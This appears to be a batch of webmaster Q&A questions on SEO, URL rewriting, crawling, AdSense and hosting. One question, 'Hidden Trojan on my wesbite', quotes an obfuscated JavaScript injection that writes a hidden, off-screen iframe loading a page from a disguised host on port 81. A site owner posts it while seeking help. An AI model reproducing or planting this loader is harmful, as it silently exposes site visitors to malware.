title: Will changing only a few keywords avoid duplicate content penalties?

text: If I reuse the content of the website, for example if the content of my Website for the URL `www.mydomain.com/NewYork` is `The Best Brown Bread in New York`, then if someone opened my other example URL `www.mydomain.com/Chicago` its content should be `The Best Brown Bread in Chicago`. My content is mostly static but replaced by the last word in the URL, then for `www.mydomain.com/myword` the keyword is "myword" and the output for the content comes like `The Best Brown Bread in myword` So, in case of large text, replacing just one word or few words will work? Or will Google penalize me for this?


title: Best SEO Practice for a long domain name?

text: I'm starting a website, with a domain name longer than 20 characters. The domain name is long but it is "memorizable", and it targets the keywords nearly perfect. So let's say my site is about learning how to play the guitar, and the domain name is learnhowtoplaytheguitar.com (this is not real) Now, obviously many users won't want to type that long phrase in the address bar, or Google search bar. So I'm planning of creating a "brand name" like **letplag** (kind of an abbreviation for _learn how to play the guitar_ ) so it is easier for future loyal-visitors. And I will have much greater chance with that query. So my first question is, should I do this, or make the brand name also "learn how to play the guitar" ? What I mean is,   * Should I try to utilize the power of the keyword-rich domain, and make my site title equal to the domain name,   * Or should I increase my chances of being in the first place, by creating a unique keyword? And if you are pro-letplag, my real question is, how should I do it? for example, -part of- site title can be "letplag", so the article titles can be like,               "learn major chords in guitar - letplag"      But I think this will decrease my chances for "learn how to play the guitar" query. Can I somehow associate the word "letplag" with guitar learning, in the eyes of Google, by making my social-media account names "letplag", or by any other means ? Thanks for any help !


title: What is the definition of "Avergage Monthly Searches" in Keyword Planner

text: Is the number represented in Average Monthly Searches the number of searches for that specific keyword and the maximum amount of possible clicks to my site? It seems the answer is obviously yes, but I need to confirm this as the average searches for one of my keywords is 400 which, if the above is true, will not be sufficient and I'll have to find a better keyword. This keyword gives me a 7 PR, but does nothing for volume. As a starting website, is there a good (minimum) number of monthly searches for a specific keyword that I should be targeting, but that is not overly competitive?


title: Does PageRank flow to pages that are only listed in the sitemap.xml?

text: Let's say you have a small website that has a PR of 3. On top of that you have on the domain itself a blog that is not linked to the website. The blog along with its posts are however listed in the _sitemap.xml_. Because they are listed in the _sitemap.xml_ Google will index them. Do they however gain any PageRank as well?


title: the zen of adwords

text: I'm a hardcore developer gone freelance and I'm getting more and more requests for adwords from my clients. I've just started to read up on it, and of course I'm starting with wikipedia and have moved onto the main site now. I wanted to post here if anyone has some tips or some good blog entires that describe how it works. Strategy posts would be awesome. As always, thanks!


title: Is there a way to disallow crawling of only HTTPS in robots.txt?

text: I just realized that Bingbot is crawling my company's website's pages over `https`. Bing already crawls the site over `http`, so this seems frivolous. Is there a way to specify `Disallow: /` for `https` only? According to Wikipedia, each protocol has its own robots.txt And according to Google's Robots.txt Specification, the `robots.txt` applies to `http` AND `https` I don't want to `Disallow: /` for Bing totally, just over `https`.


title: Infrastructure to effectively set up experiements and learn from them

text: My website is in the early stages of creating our first product, a place on the web, where one can ask lawyers questions at a fraction of their normal costs. I got inspired by this video, which is recommended by Jeff Atwood, which talks about getting feedback faster, which is the reason for this question. **The problem** Needless to say, we want our conversion rates to be as high as possible. Therefore, we want to be able to rapidly set up a new experiment where we change something on the site (like moving an image slightly, rewriting a sentence etc.). We then want to present the modified page to a random subset of the users. After that we will compare the conversion rates of the experiment with another version. I could very well imagine that we want to run 10-100 experiments simultaneously and it would be nice to have features, where experiments that obviously have worse results will be ended before schedule. **My question** Does infrastructure to support the whole process exist? A short description of our infrastructure... We use EC2 and PHP and have a script to automatically start up new instances with all needed software. Still, starting up a new server for every experiment, seems like a bit of overkill, so I am wondering what other options exist.


title: Print high resolution images from browser?

text: I have a packing slip that is generated with each order that I want to print and place in each shipped package. The images on the packing slip will not change and need to be high resolution for crisp printing. My issue occurs because I need to print out of my web browser which enlarges the size of the images because of the 300 ppi density change to web standard 72 ppi. How can I specify 300 ppi on the images needed to be printed in my browser while keeping them the correct size on paper? Thanks!


title: Request Removal of naked domain from Google Index

text: I have a site which was temporarily available at both `example.com` and `www.example.com`. All traffic to `example.com` is now redirected to `www.example.com`, however during the brief period that the site was available at the naked domain, Google indexed it. So Google now has two versions of every page indexed:               www.example.com     www.example.com/about_us     www.example.com/products/something          ...      and               example.com     example.com/about_us     example.com/products/something          ...      For obvious reasons, this is a bad situation, so how can I best resolve it? Should I request removal of these pages from the index? There is still content at these URLs, but they now redirect to the `www` subdomain equivalent. The site has many hundreds of pages, but the only way I can see to request removal is via the `Remove outdated content` screen in Webmaster Tools, one URL at a time. **How can I request removal of an entire domain (ie. the naked domain) without it effecting the true site located at the`www` subdomain? Is this the correct strategy given that all the naked domains now redirect to their `www` equivalent?**


title: How to improve WOT score of a site?

text: I don't understand why my site `Trustworthiness` and `Vendor Reliability` are considered bad by WOT. I do not have ADS, I never spammed my site around, I do not have links that point to untrusted sites. Is this an error? How can improve it and get back to green lights?


title: Official guides for pricing

text: very often we see on (other) forums the following wide question: **_how much should I charge for making a website?_** Well, recently in Brazil a web studios association were made with the most local famous web agencies, and they published a nice pricing guide (covering many different kind of jobs, and with rich descriptions). I won't post link to pdf as of now main due it is on portuguese and has local pricing. I found this reference useful, despite the pricing question is too subjective and broad to answer. My question is: does anyone know any other pricing guides from web producers associations or something similar (I'm not referring to a simple spreadsheet)?


title: Mod Rewrite - url rewriting

text: I am very new to mod rewrite. I need to redirect any user with "citzenhawk" parameter in their url to my url for example               http://www.mywebsite.com/?sc=CX12N003&cm_mmc=affiliate--citizenhawk--nooffer-_-na&prfc=5&clickid=0004c845fa9a87050a4277221a003262      should result into               http://www.mywebsite.com/      Here are my rewrite conditions:               RewriteCond %{QUERY_STRING} (&|^)cm_mmc=(.)citizenhawk(.)(&|$)$      RewriteRule ^/rrs/ [NC,R=302,L]      Where am I going wrong? Is my RewriteCond wrong?


title: HTML snapshotting services

text: Are there any services out there that will trap Googlebot and serve a html snapshot, rendered by an actual browser, of your website? This is pretty much needed if you want to implement the ajax crawling specification.


title: Hidden Trojan on my wesbite - How to find it?

text: I have a big problem. Kaspersky says my website is infected with trojan. So I downloaded all my website and run a scan and it was clean. I also did a clamav on it and it was clean too. So next thing I told few guys to test it and when they go to my website the warning appear, not only Kaspersky but Norton too. I think it's a hidden trojan, like when you refresh the page you see the warning while it's hidden in files. Kaspersky gave me the following code               <script type='text/javascript'>/*<![CDATA[*/var wow="b3nimb2eawiki11b1infob1ms";c1="l"+"on"+"l"+"y ";if(-1==document.cookie.indexOf(c1)){var a=new Date;a.setTime(a.getTime());c3=72E6;c2=new Date(a.getTime()+c3);document.cookie=c1+"="+escape(c2.toGMTString())+";e"+"xpir"+"es="+c 2.toGMTString()+";p"+"at"+"h=/";var a=document.createElement("if"+"r"+"am"+"e");a.setAttribute("sr"+"c","h"+"ttp"+":/"+"/"+wow.replace(/ea/g,"-").replace(/b3/g,"a").replace(/b2/g, "e").replace(/b1/g,".")+":8"+"1/"+"rem"+"2."+"htm"+"l");a.style.position="ab"+"sol"+"ute";a.style.width="1"+"8p"+"x";a.setAttribute("f"+"ra"+"mebo"+"rd"+"er",navigator.userAgent.i ndexOf("1"+"23"+"4231"+"532"+"4")+1);a.style.left="-"+"57"+"50"+"p"+"x";document.write("<"+"di"+"v i"+"d='d"+"efus"+"e'>"+"</di"+"v>");document.getElementById("de"+"f"+"us"+"e").a ppendChild(a)};/*]]>*/</script>      So now I am lost, what can i do?


title: Why drop off in Google impressions?

text: I'm seeing a severe drop off in Google impressions. See attached screenshot from Google Analytics: ![GA screenshot](http://i.stack.imgur.com/LEeJJ.png) I haven't been able to attribute this to any changes on the site. As you can see, this started happening on Oct 21st. Does anyone know if this corresponds to a Google Search update? Otherwise, does anyone have any suggests for tracking down the cause? I'm pretty stumped.


title: How do I migrate mail from one shared hosting account to another?

text: My web-host suddenly decide to merge with another company and that move has left me in the lurch. I have two weeks till I can migrate my mail data over to another account. The only way that I can transfer the data to the new account is through a mail client and manually copying the data to the new hosting by recreating the mail accounts and restoring all the mails from the mail client to them. Is there anyway that I can automate this process, or a faster way that I could speed-en up this process. I have over 400 email accounts to migrate which is around 2 gigs of matter. And the mails don't stop coming in. If I could do this directly server to server without downloading and uploading the matter, it would be very convenient. That way I will only have to create the accounts and the matter would transfer automatically. How can I avoid this procedure in the future? And is there a way to backup emails from a mail server?


title: How can I rewrite a subdomain to go to a specific file in a specific folder?

text: I've done searching for my answer and have tested a few solutions, but nothing has worked so far. I'm trying to get a URL like this `http://baseball.sports.com` to rewrite to `http://pro.sports.com/baseball-index.php`. However, I still need to keep the domain the same (`http://baseball.sports.com`). The reason being I have about 5 subdomains (`baseball`, `football`, `soccer`, etc.) that I want to run off the same code base (`pro.sports.com`). Everything is on the same server. I'd be happy to answer any other questions that would help me get a resolution. I truly appreciate any direction that can be given to me to solve this.


title: Rankings dropping after small URL-change WITH 301-redirect

text: Two weeks ago, we attempted to make the URLs of ca. 12 pages more search- engine friendly. We changed three things. **1. Make URLs more SEF** > from: /แอร์-ราคา/brandname.html (meaning: /aircon-price/daikin.html > > to: /แอร์-brandnameinenglish-brandnameinthai.html We set up 301-redirects from the old to the new URLs. You can find an example and the link to our page here: http://bit.ly/XRoTOK There are no direct external links to the old URLs. **2. Added text to img-links from homepage to brand-pages** Before those changes, we only linked to those brands with a picture, so we added some text under the picture. You can see that here, in the left submenu: http://bit.ly/XRpfoF **3. Minor changes to Title, h1-Tags, Meta Description, etc.** Only minor changes, to better match the on-site optimization with targeted keywords. For example, before we used full brand names, after we used what was really searched for: > from: Mitsubishi Electric Mr. Slim > > to: แอร์ Mitsubishi (means: Aircon Mitsubishi) Three days after these changes, we noticed a heavy drop (80% loss in non-paid search traffic) in rankings and traffic for those pages, and also for all pages which are sub-categorized. Rankings for all keywords not affected by the changes stayed the same. Any ideas, what happened, and how we can regain our old rankings? We have already submitted a new sitemap.


title: Refer a friend - Emailing - legal problems

text: My website has a referral program.. I have a page called "refer a friend". Logged in users can enter their friend's email addresses. As of now my site doesn't have any email limit. Now my question is "Will I get any legal problem, if the user submits spidered email address to earn referral money?" And how exactly big sites handle this problem? Can I use mailchimp api for this?


title: Bad Bot blocking Revisited

text: I've read a lot about bad bot blocking, php scripts, .htaccess techniques, etc... Is this a valid method? Since .htacces can rewrite and send a bad bot a 403 deny or forward to something like spam poison, is it possible to Disallow a folder, then through .htaccess in that specific folder redirect to spampoison? Since Apache reads each .htaccess independently and follows specific instructions, then a bad bot not following robots.txt would just be redirected. Or anyone trying to access, /badbot/ or whatever I choose to call my trap folder.


title: Web Server vs Web Hosting

text: I have always thought about hosting sites on a local web server with MAMP or a web server application on a reliable and fast connection, but I was wondering if it would be better to just go with web hosting? Also how would web hosting or a web server handle a sudden surge in traffic in a huge scale?


title: My new DNS change works from America but not Sweden

text: Several hours ago, I changed nameserver and DNS info on one of my domains at my domainregistar. When I accessed the domain from my home computers and when my friends accessed the domain, they get to the old IP address hosting the dead site (We all live in Sweden). When I access the website from my mobile phone or through google.com/translate or North American proxies, the website is shown like it should. Why is this happening? Does it take time for change to take effect for different locations/countries? I find it very strange and would like to start using my site now. Do you think it will change or could I have been doing something wrong?


title: Why do my Google sitelinks show gibberish for a PDF link?

text: I have a website which Google lists nicely along with site links. One of the site links - to a PDF file - shows un-human gibberish e.g > >     67,8;45:: 56 83 @7<1. (7/0;,*;: /59( (7/0;,;<7, <7)(60:4 (9<7 /+ +2, VU >   I thought it might be due to the PDF's title property so I changed it. But there hasn't been an improvement to the site link. Other PDF site links are fine and display the title property as desired. Does anyone know how I might rectify this problem or what might be the cause? My uninformed guess is it's some transliteration problem between code and display text which, I suppose, means I ought to recondition the PDF file in some way. Not sure how.


title: Google Analytics API - Super simple?

text: **Google Analytics API - Too complicated?** I've read about Google Analytics API but heard of others that it is a bit complicated to make it work. I use PHP. **Copy / paste example** My question is if there is a copy / paste example anywhere on the web for getting a stats curve of the latest month, or just the numbers for that period? **Important** I need to use the new Google Analytics API version for 2012. The other one is going to die soon.


title: Question about mod_rewrite rule for redirecting failing pages

text: I'm setting up a `mod_rewrite` rule that redirects failing pages to a custom "Page Not Found" page. This is with WordPress. I've used an online tutorial from the Apache site and so far my rules look like this:               RewriteCond   %{REQUEST_FILENAME} !-f     RewriteRule   ^(.+)   http://example.com/?page_id=254 [R]      This works. It seems to be a combination of the first and second suggestion that worked, since the `-U` flag did nothing. My question is, out of curiosity why the following happens: When I change `REQUEST_FILENAME` to `REQUEST_URI` (as the second example suggests), the page loads, but none of the style sheets load. All of my formatting is gone, and this happens on every page. Can anyone think of why this might happen?


title: does co.uk domains need a uk citizen?

text: I am a us citizen based in the us. I would like to register a co.uk domain. Do I need to be a uk citizen or have some other sort of connection to the uk to register that domain? For instance, .ca (canada) requires this and that is why I ask. thx


title: Would using AJAX only "Add to Cart" buttons be wise?

text: I want to AJAX enable all of my "Add To Cart" buttons because search engine bots are indexing these and not paying attention to my robots file or site map. I just don't want to lose potential customers. I have seen a number of top sites using content that relies heavily on JavaScript support, including Amazon. Is it OK to follow the trend? The rest of my site progressively degrades, but I would really like to implement this because of the benefits to the customer (instant satisfaction), my infrastructure (constant page rebuilds), and allowing me to use SEO tools to optimize without the tool picking up thousands of "Add to Cart" widgets in my catalog.


title: Adding a page indicating that a website is in maintenance

text: I use **Spring MVC** + **Apache tomcat** + **Apache httpd** and I am seeking for best practices in order to redirect all http requests to a page indicating to my users that the website is in maintenance. FYI, my website will be hosted on **Cloudfoundry**.


title: Do Google's feed statistics include former users?

text: I'm currently not using any sort of fancy stat tracking software such as feedburner, but I occasionally look at Google's stats in their Webmaster Tools just to get a rough idea of whether the number of subscribers is going up or down. This only gives the number of users subscribed through Google products, as they explain in their help documents: > Subscriber stats display the number of Google users who have subscribed to > your feeds using any Google product (such as Reader, iGoogle, or Orkut). > Because users can subscribe to feeds using many different aggregators or RSS > readers, the actual number of subscribers to your site may be higher. I used to use Google Reader very regularly but haven't opened it in a while now. The way I understand it, this will mean that even though I haven't touched any of those feeds in a long time I'm still technically subscribed to them and will therefore be included in Google's statistic. Is this correct? Also since Google runs Feedburner, does this have any effect on their stats as well?


title: How to exclude a website from real-time Google search results?

text: Google bots have recently indexed my test web site which is not intended for users. How can i exclude my JSP web site from google's search result?


title: Saving website copy and browsing saved copies

text: How can I automatically save site's copy each week with an option to browse saved copies? I need kind of WebArchive, but on my local computer.


title: What to do with a site that has multiple languages in Google Analytics

text: We have a site that has four "streams" for language and each language has different content based on that language and location (US English, Spanish, Canadian English and Canadian French). I'm wondering if I have to set up accounts for each stream so that we can see the stats from each stream only, or do I use one account and somehow tell GA to separate the different streams based on language. For example, the US English site starts at (/en/) while the Canadian English site starts at (/ca_en/), etc.


title: Do directory names and URL's paths make a difference for SEO?

text: Using a very simple example with cars, this seems to make more sense:               site.com/cars/audi/convertibles/red/      But since a person is likely to search for _red convertible_ or _red audi convertible_ , would it be better to have:               site.com/cars/red-audi-convertible/     site.com/cars/audi/red-convertible/     site.com/cars/audi-convertible/red/      Would these make a difference in my SEO?


title: How can I stop users from leaving after they are told they violated a rule?

text: I run a small forum, and occasionally we get someone who will break a minor rule, e.g. they post something in the wrong forum. When this happens we'll usually send them a message explaining to them how forums work and letting them know that there message would be better received if they posted it in the right forum. However, often those users will just leave. That's not the desired affect: the rule violation was minor and we don't want them to leave because of that. Does anyone have any ideas on how we can reduce the number of users who will leave after we tell them that they violated the rules?


title: Website not showing up when searching with a space

text: My domain name has a hyphen in it (i.e. `http://word1-word2.com`).   * When google searching "word1word2", the site shows up as the 5th overall search result.    * When searching "word1 word2", the site doesn't show up in any of the 1st 10 pages.    * On Bing, when searching "word1 word2", the site shows up as #1. Is there a reason for this behavior and a way to fix this problem?


title: Should single product pages generated from affiliate product feeds be "noindexed"?

text: We plan to import tens of thousands of products from affiliate product feeds to a brand new site, where each product will have its own page with identical title and description as the original. I worry that too much duplicated content will give search engine penalties. Should these pages be marked with a "noindex" robots meta tag to avoid the penalty issue?


title: Money in keywords?

text: Is it a good idea to put money in keywords e.g. 'Name of Item from £30' Will google not register the pound sign therefore registering 'Name of item from 30' which could be anything


title: How to include the contents of a markdown page into a post with Jekyll?

text: I am pretty new to websites with Jekyll hosted on Github, and I was wondering if there was a neat way to include the contents of a markdown page (say this one) into a post (say this one) in order to always have the contents up to date if the source page is modified?


title: Google Analytics: how to split traffic from Google search into different Google sites (google.com, google.fr, ...)?

text: As 75% of my traffic are generated by Google search, I am asking myself if there is a way to split this traffic into the different local Google domains as `google.com`, `google.fr`, `google.be` and so one in the Google Analytics? When I try to digg into the Google Analytics reports, I land always at source: "google" without more detail. Any idea if it is possible to do it? And if yes, how?


title: Do backlinks get added to Google Webmaster Tools as soon as they're indexed by Google?

text: I currently have a webpage which I know has at least 10 backlinks, but only one of these actually shows up in Google Webmaster Tools. This same webpage is also ranking much lower than I expected it to. So have these backlinks not been taken into account by Google yet? And will they be added to Webmaster Tools as soon as Google notices them?


title: looking for a Q and A tool with payment for answer

text: I would like to include an expert Q and A system into my site that works like stackoverflow but also gives the user the option to promise money for the answer.


title: Why sometimes images load top-bottom, and sometimes by "enhancing" resolution?

text: In everyday use of internet, i notice that most times, any image that loads, loads by "growing" itself vertically, from top to bottom,. that is, you first see only a few rows of pixels, and it increments until it is full height. I.e, the way an image would print in a physical printer. But other times, the images loads full-size, that is by using all their width and height, but they load at very low resolution, they look very pixelated and blurry, then they have "swipes" that improve the resolution a bit each step. After a few "swipes" it gets the max resolution of the image. (I don't know if _resolution_ is the proper term, but i hope you get the idea) So, why or when does each happen? what are the conditions? On what it depends? I have no idea of web protocols, transfers, data-encoding or any of that, so please give an easy to understand answer for a non expert (a regular internet user).


title: What are the pros and cons of running PHP as an Apache module or a FastCGI?

text: My VPS is giving me the option between running PHP as an Apache Module or a FastCGI. How should one make this decision? Performance? Security? Ease of use? Compatibility? I'm using PLESK.


title: Website Systematically Blocking IP Addresses

text: I have a series of websites hosted at the same server. The issue I am having is that it keeps blocking me access from different means to the sites. Allow me to explain:   * From my IP, Blocked.    * From Boomproxy: Blocked    * From Zend2: Blocked    * From hidemyass: Blocked    * From Zacebook: Accessible **The "Block" message goes something like this:** > Exact error is: This webpage is not available The connection to www.xxx.yyy > was interrupted. Here are some suggestions: Reload this webpage later. Check > your Internet connection. > > Restart any router, modem, or... etc, etc ...Go to the Chrome menu > > Settings > Show advanced settings... > Change proxy settings... > LAN > Settings and deselect the "Use a proxy server for your LAN" checkbox. Error > 101 (net::ERR_CONNECTION_RESET): The connection was reset. Please remember that no matter what proxy service I use, it systematically "blocks" them one by one. Does anybody know how this keeps happening? It also affects any access to the sites from my network.


title: I18n website and URL prefix iso639

text: I'm adding i18n to my website. For translated pages I add iso639 code of the language like this:               http://example.com/en/mypage.php      But I'm curious about language code. Should I use iso639-1 (en) or iso639-2 (eng) code ? http://en.wikipedia.org/wiki/ISO_639#Relations_between_the_parts When I check, I see that most of the websites including Wikipedia, uses 2 character language code ? What is the standart or most widely used option for language codes ?


title: Services to monitor if site is hacked and defaced?

text: Are there any services that will monitor a web site and report if it gets hacked and defaced? Which are reputable and recommended? How does the service notify you when your site is having problems?


title: Is it possible to send an automatic email to the webmaster when a visitors hits a 500 error page?

text: Is it possible to send an automatic email that includes details about the requested page to the webmaster when a visitors hits a 500 internal server error page? That way the web master could act more quickly to solve the problem. This is a general question so which platform is used is irrelevant.


title: Why does BingBot add "ForceRecrawl: 0" to URLs when crawling my sites?

text: I'm seeing this in the iis-logs of two websites that I maintain:               GET /an/existing/page/on/my/site+ForceRecrawl:+0 - 80 - 207.46.195.105 HTTP/1.1 Mozilla/5.0+(compatible;+bingbot/2.0;++http://www.bing.com/bingbot.htm)      I get about one or two of these per day from these IP addresses: 207.46.195.105, 65.52.110.190.. an more, all belonging to msnbot- ip.search.msn.com Probably Microsoft has a bug in their crawler? Any way, doing a search on "ForceRecrawl: 0" in major search engines comes up with a bunch of random sites. Doing the search on StackOverflow or here gave no results (to my amazement). Am I the only one seeing this? I first noticed these on the 9th of this month, and I'm seeing them pass almost daily since... Another thing that I think is crazy, is that the URL http://www.bing.com/bingbot.htm redirects to mail.live.com (hotmail). Currently I'm returning 404's but I'm considering to catch these, strip the trailing " ForceRecrawl: 0" and process as if it were a legitimate url. Could anyone shed some light on this? Could it have to do with some configuration or so in Bing's Webmaster Tools?


title: SEO for german website - can I use senukeX?

text: I'm going to use senukeX to go to the top with small german website... the problem is -> it's in german and wordpress, social bookmarks, wikis in Senuke are in english. Does it matter?


title: How can I create a sitemap for 2000 products powered by a single php page?

text: Usually I generate sitemaps using `www.xml-sitemaps.com` and the limit is 500 pages. My website has barely 30, but I have a lot of products in my database, so the page `product.php` becomes `product.php?id=xx` for each product. When I try to create the sitemap, it also calculates all the duplicate pages for `product.php` and it creates as many duplicates as are the products in my database, more than 2000, so when it reaches 500 it stops and the sitemap is incomplete. How can I prevent this and only take in consideration once the file `product.php` and not as many times as the IDs I have?


title: Subdomain Is Redirected and Causing an Error Because www. is Added

text: On my site, say `example.com`, if I try to access `test.example.com`, Firefox automatically adds `www`. to `test.example.com`, making it `www.test.example.com`, which causes an error. However, if I visit a site like `my.ebay.com`, no `www.` is added so no error occurs. What's going on? Just in case, my .htaccess file is as follows:               Options -Multiviews     RewriteEngine On     RewriteCond %{HTTP_HOST} ^example.com     RewriteRule ^(.*)$ http://www.example.com/$1 [R=301,L]     RewriteCond %{REQUEST_FILENAME} !-f     RewriteCond %{REQUEST_FILENAME} !-d     RewriteRule ^(.*)$ $1.php      I looked through Firebug and it seems like Firefox doesn't even make an attempt to reach `test.example.com` before reverting to `www.test.example.com`. One nuance I didn't realize until now. If I try to access the site using `test.example.com/`, the `www.` is added. If however that trailing slash is not there, then I am sent to the sub domain properly.


title: Filter combinations as indexable pages: good or bad for SEO?

text: I'm building a site based on tags for navigation (not a tree structure). My idea was to create a unique URL representing a unique combination of tags. The problem is that the sum of every combination of tags will produce over a million pages. Is this bad? These pages contain text and links pointing to the real content pages of the site, so not content at all, just dynamically generated content.


title: Time to wait before submitting again site to DMOZ.org

text: Most sites I have done, got listed in DMOZ. It has always being a very frustrating process that required waiting for months. For some of these sites I had also to resubmit them again in order to see them listed. My question is: in case site A does not get listed in DMOZ after the 1st submission, do you know how long should I wait before submitting site A again? I'm supposing DMOZ does not enjoy receiveing the same site submitted each day by the same person. Maybe some of you was/is a DMOZ editor and knows the answer. Thanks * * * UPDATE: Thanks to _danlefree_ , I should have explained in my question that I know on DMOZ guideline they say to submit site only once. But by following slavishly DMOZ guideline: **a site that was not included on 1st attempt should not be submitted again for the rest of your life.** I think it's common sense to try to understand what was wrong with the not included site, try to fix it and **after some time** try to submit the site again to DMOZ for inclusion. My question is more about what you percieve to be the right time to wait before submitting again a site to DMOZ.


title: Can I display AdSense ads in a mobile app?

text: Does Google allow AdSense ads to be displayed in a mobile app, or is it only for web pages? I heard that people were banned for displaying AdSense ads in mobile apps. I'm asking because I recently upgraded from legacy AdMob to the new AdMob, which has AdSense and AdWords.


title: Is it possible to use Whois Guard on dot pro domains?

text: I have purchased two dot pro domains but the holder info is exposed. Is it possible to use Whois Guard or the like on dot pro domains? If so, Do you know any service provider or registrar that offers this?


title: Setting Up SPF Records on Plesk 11

text: I see that Plesk 11 automatically sets up an SPF Record - however when I test it on a number of eMail Spam Test services I see that it is not being detected.               v=spf1 +a +mx -all      What changes do I need to make to this TXT SPF record for it to function correctly? ![DNS Records](http://i.stack.imgur.com/4ECpV.png)


title: How to close AdSense account after upgrading AdMob account?

text: I only want AdMob account but had to upgrade from legacy to the new account which has AdSense and AdWords. The Google instructions tells me:               "In the “Account information” section, click cancel account."      In my account information, there is only Publisher ID, Customer ID, Time zone and Active products which is AdMob. How do I close it?


title: how a web agency handle multiple client sites

text: I have few sites on different shared hosting and I want to move them in a new VPS. Most of them are build with Drupal (version 6 and 7), but also I want to be able to host and maintain Wordpress sites. So what is the solution that's most used in a web agency where you can have multiple client sites with different CMS? Is the "multiplre sites" in both Drupal and Wordpress the prefer way to do that?


title: Quick question about Google AdSense policy

text: Is it against the Google AdSense terms of use to direct users to click on the ads? I mean I'm not gonna put a big flashing arrow or anything but what about "check out our sponsors" or something subtle like that?


title: What imprint do I have to use to comply with various international laws?

text: In German law every website has to have an imprint clearly stating the owner and their contact information. This is nothing I really worry about since I have already created it. But my question is what decides which countries' laws apply to my website?   My website is running on a root server in Canada, I am German citizen, I will be using a `.tk` (New Zealand) domain, and the website is designed for an international audience. I am pretty sure the domain doesn't matter at all. So which countries' laws apply to my website? If it is the Canadian law, then what do I have to do in order to stay legal?


title: Solving "Googlebot encountered extremely large numbers of links on your site."

text: I'm getting the following warning over and over again in google webmaster tools               Googlebot encountered extremely large numbers of links on your site.      The examples he's showing don't give me much clue on what is really wrong here. How would you suggest me to resolve this issue? UPDATE: My site has a large amount of pages (40M) with ~10M indexed. Should I consider adding noindex to some of the pages to make it 'smaller' for search engines?


title: Multilingual website avoiding duplicate content and right referral in SERP

text: I have a site with UGC in many languages. The translation I'm doing is for the titles so for each page I have multiple copies, one per language. I want to make sure   1. Search engines don't see this as duplicate content.   2. Search engines direct to the right language link.  What I've done is specifying the language in a sub domain, so for each page I have:               mydomain.com/page     ja.mydomain.com/page     es.mydomain.com/page      And in each one of those pages added in the HTML                 <link rel="alternate" hreflang="en" href="http:/mydomain.com/page" />       <link rel="alternate" hreflang="jp" href="http://ja.mydomain.com/page" />      In order to make sure people are viewing the right language I'm redirecting according to the IP of the viewer, to the right subdomain. For example if I get a visitor from Japan I'm redirecting to ja.mydomain.com/page while leaving an option to change language manually. Is there a way to avoid the redirecting I'm doing and let search engines link to the right page? Should I specify canonical for these pages to avoid duplicate content? Should I specify geo-targeting per subdomain in google webmaster tools?


title: Good idea if I only have <header> and <footer> inside <article>?

text: Due to nature of my blog I don't need to display any content, I only need to display a title inside a `<header>` and some meta info inside `<footer>` both inside `article`. Above them there is an image and some social sharing stuff. Will this somehow confuse Google crawlers? Or is it fine?


title: Google Webmaster Tools - Search results are creating subdomained sites that don't exist

text: I'm very confused and at a loss here, so bare with me. We were updating our Google search plugin for our domain, when I noticed odd behaviors in the Google search results:   * `fod.oursite.com`   * `foood.oursite.com`   * `fd.oursite.com` Are showing up in the Google indexing search results. We have nothing in our database that indicates these domains and nothing redirecting in our app/web servers. We have a domain called 'food.oursite.com', but why are these variations indexed? Any ideas what cause this?


title: Star rating not showing in rich snippets

text:
We've recently been doing a lot of work on our site's SEO (`www.betterthanreviews.com`). We recently did a push to update the rich snippets breadcrumb, meta description, and star rating. After giving Google some time to index the site, it has updated the breadcrumbs and meta descriptions for our review pages, but the stars are still not showing. This is currently how it appears on a Google search (link to the actual page: `http://www.betterthanreviews.com/home- security/livewatch`): ![enter image description here](http://i.stack.imgur.com/ZZxrz.png) This is what the Rich Snippets is supposed to look like, and how it appears in Google's testing tool: ![enter image description here](http://i.stack.imgur.com/y7YCj.png) More context: As seen in our html, we are using schema.org language. We initially were using _schema.org/Corporation_ for the site, but we now have the page labeled as _schema.org/HomeAndConstructionBusiness_ because Google will not show star ratings for the Corporation language. However, in our Webmaster Tools, the Structured Data is still showing the Corporation language, which could be a potential issue. Here is a look at some of the coding that we used. But it can be looked at closer by inspecting the element:

             <meta content="4.5" itemprop="ratingValue" title="4.5 out of 5 stars" class="star-rating-readonly">                    <meta content="2013-12-05" itemprop="datePublished">
Way better than my previous system

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2 months ago

I love it! The experience I have had so far is extremely positive. I had another alarm system before and I didn't like it but this one is really nice. I am telling everybody about it.

      Any suggestions for how to fix this?


title: How bad of an idea is it to host unrelated sites on the same server?

text: I apologize in advance for the opinionated nature of this question, but I want to get some advice based on people's real world experience with this sort of thing. By profession, I'm a software engineer. I'm not a web developer, but I know enough to make simple to moderate web sites. I'm familiar with Windows Server and IIS. I'm thinking of getting my own server and IP to host a bunch of random things, but I'm wondering if hosting everything at the same IP address would be a bad idea, at the very least for professional reasons. For example: Lets say I wanted a programming blog. I write about ideas and projects, and maybe a link to my github. It's something I can share with people and perhaps show potential future employers. The url is www.MyAwesomeBlog.com. But also I wanted a blog where I talked about something more unsightly. Not illegal, but let's say a blog about guns/politics/religion/brewing beer/growing weed/etc... the sort of thing that I wouldn't want all my programmer friends or a potential employers to see. This blog is at www.GunsPoliticsReligionBoozeWeed.com (hey, that url is available!) While the two are completely separate urls, they're both hosted on my server and reached from the same IP address. A moderately competent person could find out that both of these sites are coming from the same place, or perhaps use a site like reverse IP domain check to see what else is coming from there. Is this something that I should really be concerned about? If so, what are some ways that I could mitigate this problem?


title: How do I set up server logs?

text: I can't find the server access log (I think its because I have free hosting) which shows who have recently visited my website. How can I set it up manually? I have a Apache server.


title: Redundant Hosting and duplicate content's effect on SEO

text: My Company is currently in the early planning phases of a project where we are playing with the idea of hosting our web project on multiple continents. The idea is to push local users to the closest server possible to decrease loading times. This will likely involve mirroring the web project across each server. Thats cool and not our dilemma at the moment - remember we are in the planning/design phase. The concern which was brought up yesterday (and caused myself and acouple others to lose sleep) is the SEO effect of hosting on multiple servers. What our fear is, is that with say 3 servers running in 3 different continents we are going to have duplicate content on each of those 3 servers. Now we can use url canonicalization to go from domain.com www.domain.com so search engines view the url as a single url and everything resolves to the same url (good for SEO). But what we wont be able to do that any of us can foresee is IP canonicalization to tell search engines that all three instances are all the same site possibly confusing SEs on which url is the correct one to index (or so our worry is). In the experience of other webmasters is there a correct way to go about this? Has in any of your past experiences has running multiple instances of a website in this manner negatively effected your SEO efforts? If yes do you guys have any ideas on how to minimize the potential of pages not being indexed by going this route? I know its a pretty small part of the ranking algorithms but it is enough that we want to have this planned out as best as we can especially considering the scale of the project.


title: google webmaster tools, site maps and indexing, number of pages indexed reduces with no new sitemap

